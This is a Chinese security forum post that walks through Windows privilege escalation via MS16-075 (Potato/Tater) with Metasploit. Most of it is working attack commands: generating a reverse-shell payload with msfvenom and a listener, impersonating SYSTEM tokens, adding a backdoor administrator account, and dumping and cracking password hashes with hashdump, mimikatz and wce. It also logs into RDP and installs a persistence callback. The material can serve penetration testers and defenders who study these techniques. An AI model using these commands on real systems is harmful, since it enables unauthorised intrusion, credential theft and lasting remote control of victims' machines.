用户
搜索
  • TA的每日心情
    慵懒
    昨天 12:30
  • 签到天数: 175 天

    连续签到: 1 天

    [LV.7]常住居民III

    i春秋作家

    推荐小组副组长

    Rank: 7Rank: 7Rank: 7

    62

    主题

    174

    帖子

    727

    魔法币
    收听
    2
    粉丝
    4
    注册时间
    2017-12-4

    i春秋认证秦幽默灌水王突出贡献春秋文阁积极活跃奖核心白帽i春秋签约作者i春秋推荐小组楚

    夜莺 i春秋作家 推荐小组副组长 i春秋认证 秦 幽默灌水王 突出贡献 春秋文阁 积极活跃奖 核心白帽 i春秋签约作者 楼主
    发表于 2018-6-19 14:47:41 27583
    本帖最后由 夜莺 于 2018-6-19 14:48 编辑

    1.1Metasploit下利用ms16-075提权

    simeon

        1.1.1 ms16-075漏洞简介及利用前提


        1.ms16-075漏洞简介

        Windows SMB 服务器特权提升漏洞CVE漏洞编号CVE-2016-3225)当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。此更新通过更正Windows服务器消息块 (SMB) 服务器处理凭据转发请求的方式来修复此漏洞。微软将其定义为KB3164038,有关该漏洞的详细介绍请参阅其网https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2016/ms16-075

        2 wmic对目标系统进行漏洞补丁更新情况查看

        (1wmic查看所有补丁安装情况
    wmic qfe get Caption,Description,HotFixID,InstalledOn
        (2查找具体漏洞号的信息
    wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3136041" /C:"KB4018483"

        3.msf反弹进行补丁枚举
        (1)使用模块post/windows/gather/enum_patches
    use post/windows/gather/enum_patches
        (2)设置会话
    使用sessions  -l命令查看会话,加入只有一个会话,其id为1,则使用set session 1设置为当前会话。
        (3)设置漏洞KB号
    set kb "KB3136041" ,"KB4018483","KB3143141"
        (4)执行枚举
        run

        4. windows-exploit-suggester.py进行补丁漏洞审计
        (1systeminfo生成文件
    systeminfo >win2008.txt
       (2下载windows-exploit-suggester.py
    3安装xlrd模块
    pip install xlrd --upgrade
    4)更新windows-exploit-suggester
    windows-exploit-suggester.py -u
    上面命令生成一个以当天日期的文件,例如2018-06-07-mssb.xls
    5执行漏洞审计
    windows-exploit-suggester.py  --audit -l --database 2018-06-07-mssb.xls --systeminfo 1.txt >win2008-day.txt
    2018-06-07-mssb.xls前面生成的文件名称一致win2008-day.txt即为漏洞审计情况

        1.1.2 ms16-075漏洞利用程序及方法


        1.ms16-075漏洞利用程序
        FoxGlove公布(https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075)的potatoTaterhttps://github.com/Kevin-Robertson/Tater)公布Tater.ps1利用程序

        2. msf提权命令利用程序。
    1upload potato.exe
    2use incognito
    3list_tokens -u
    4execute -cH -f ./potato.exe
    5list_tokens -u
    6impersonate_token "NT AUTHORITY\\SYSTEM"
    7getuid

        3.powershell下提权命令
    Import-Module ./Tater.ps1 或者. ./Tater.ps1
    1Trigger 1示例
    Invoke-Tater -Trigger 1 -Command "net user tater Winter2016 /add && net localgroup administrators tater /add"
    2trigger 2示例
    Invoke-Tater -Trigger 2 -Command "net user tater Winter2016 /add && net localgroup administrators tater /add"
    3windows7使用NBNS WPAD Bruteforce + Windows Defender Signature Updates
    net localgroup administrators
    ..\Tater.ps1
    Invoke-Tater -Command ""net localgroup administators user /add
    net localgroup administrators
    4Windows 10 使用trigger 2 (WebClient Service + Scheduled Task)
    Set-ExecutionPolicy unrestricted -Scope CurrentUser
    输入y
    ..\Tater.ps1
    Invoke-Tater -Command "net localgroup administators user /add" -trigger 2
    net localgroup administrators
    5Windows 7 使用trigger 1UDP端口耗尽
    ..\Tater.ps1
    Invoke-Tater -Command "net user tater Winter2016 /add && net localgroup administators tater /add" -exhaustudp y

        1.1.3msf生成反弹木马


        1.反弹条件
      (1在内网中,lhost为内地址
      (2公网需要有独立IP,也即lhost为独立IP,通过开放的端口能够访问到

        2.生成反弹木马命令
    msfVENOM -p windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4433 -f exe -o 4433.exe
    反弹主机地址192.168.1.33端口为4433,生成的木马文件为4433.exe

        3.4433.exe上传到需要提权的目标服务器上

    1.1.4msf平台准备工作

    1.执行监听
    1kali或者其他平台下开启msf
    ./msfconsole
    2使用exploit/multi/handler
    use exploit/multi/handler
    3)这只payload
    set PAYLOAD windows/meterpreter/reverse_tcp
    4设置反弹IP地址
    set LHOST 192.168.1.33 //实际情况中需要将192.168.1.33换成公网IP地址
    5设置端口
    set LPORT 4433
    6运行
    exploit
    2.在提权目标服务器上执行4433.exe程序

        1.1.5攻击实例


        1.使用后门模块
      开启msf平台后依次执行以下命令,执行效果如图1所示。
    [AppleScript] 纯文本查看 复制代码
    use exploit/multi/handler
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST 47.75.***.***
    set LPORT 4433
    exploit
    1-监听.JPG

    1使用后门监听模块

    2.进行提权
    1)查看反弹服务器基本信息   目标服务器上执行前面生成的反弹木马,如图2所示,反弹回来后,执行sysinfo查看服务器信息,该服务器为Windows 2008 SP2,X86架构。

    2-查看反弹服务器信息.JPG

    2查看服务器基本信息

    2反弹的meterpreter中分别执行getuid及getsystem命令查看当前用户的权限及进行提权,结果显示使用msf自带的提权方法提权失败如图3所示。

    3-提权失败.JPG

    3使用msf自带提权方法提权失败

        3.上传ms16-075文件  
        在meterpreter中执行upload potato.exe命令,如图4所示,meterpreterpotato文件直接上传到反弹shell所在的目录下。

    4-上传文件.JPG

    4上传ms16-075文件

    4.利用ms16-075进行提权1利用msf16-075进行提权   如图5所示,依次执行以下命令:use incognitolist_tokens -uexecute -cH -f ./potato.exe

    5-进行提权.JPG

    5执行提权命令

    2提权成功执行ms16-075提权程序后,再次执行以下命令,如图6所示,获取当前用户权限为NT AUTHORITY\SYSTEM权限list_tokens -u impersonate_token "NT AUTHORITY\SYSTEM"getuid

    6-获取系统权限.JPG

    6获取系统权限

    5.获取破解当前系统哈希值

    1获取当前系统哈希值   meterpreter中执行run hashdump命令,如7所示,成功获取当前系统下的所有账号的哈希加密值,不过该哈希值的LM值为aa3d表示无法破解。只有后面ntlm值有用。

    7-获取密码.JPG

    7获取当前系统密码哈希值

    2破解密码值   获取的哈希密码值的后半部分复制到www.cmd5.com进行破解,破解时需要选择ntlm算法,如图8所示,查询到密码后,通过付费查询,获取其密码值。

    8-密码查询.JPG

    8对密码进行破解

    3使用mimikatz来获取密码   meterpreter中执行load mimikatz命令,如图9所示,然后执行msv等命令,来获取系统的明文密码,在本案例中未能成功获取明文密码。

    9-mimikatz获取密码失败.JPG

    9使用mimikatz获取明文密码

    6.登录服务器
    1查看远程终端端口   如图10所示,可以在shell状态下执行tasklist /svc | find “TermService”netstat -ano | find “2872”命令来获取当前系统开放的3389端口。注意前面命令获取的是进程PID是后面查询的关键字。也可以使用nmap命令通过扫描来确定,例如执行nmap -A -sS -Pn 192.1.1.1命令来核实远程目标开放的端口。

    10-查看端口情况.JPG

    10获取远程终端端口

    2登录远程终端并获取明文密码   使用前面破解的密码登录远程桌面,然后上传wce来获取明文密码,如图11所示,成功获取其管理员的密码。

    11-wce加载.JPG

    11获取管理员密码
    1.1.6进行ms16-075提权相关命令总结

    1.ms16-075提权命令upload potato.exeuse incognitolist_tokens -uexecute -cH -f ./potato.exelist_tokens -u impersonate_token "NT AUTHORITY\SYSTEM"getuid

    2.获取密码哈希run hashdump

    3.mimikatz进行密码获取load mimikatzkerberoslivesspmsvssptspkgwdigest(逐个命令测试,有的会显示明文密码)mimikatz_commandmimikatz命令提示窗口 mimikatz_command -f sekurlsa::wdigest -a "full" mimikatz_command -f sekurlsa::logonpasswords

    4.远程终端端口查看命令tasklist /svc | find "TermService"netstat -ano | find "2872"5.持久化攻击run persistence -X -i 50 -p 4433 -r 192.168.1.33

    小彩蛋

    1密码安全攻防技术精讲:http://gitbook.cn/gitchat/column/5afbf24f753289354cab7983

    2SQLmap入门到精通:http://blog.51cto.com/cloumn/detail/3

    3新书《网络攻防实战研究:漏洞利用与提权》http://item.jd.com/12330042.html?dist=jd?dist=jd



    低调求发展,潜心学安全 个人博客www.shallowdream.cn
    发表于 2018-6-20 14:28:25
    给自己点一个赞。欢迎进行技术交流
    做攻防实战安全理论体系建设
    http://blog.51cto.com/simeon
    安天365技术交流2群: 647359714
    使用道具 举报 回复
    支持一下~
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册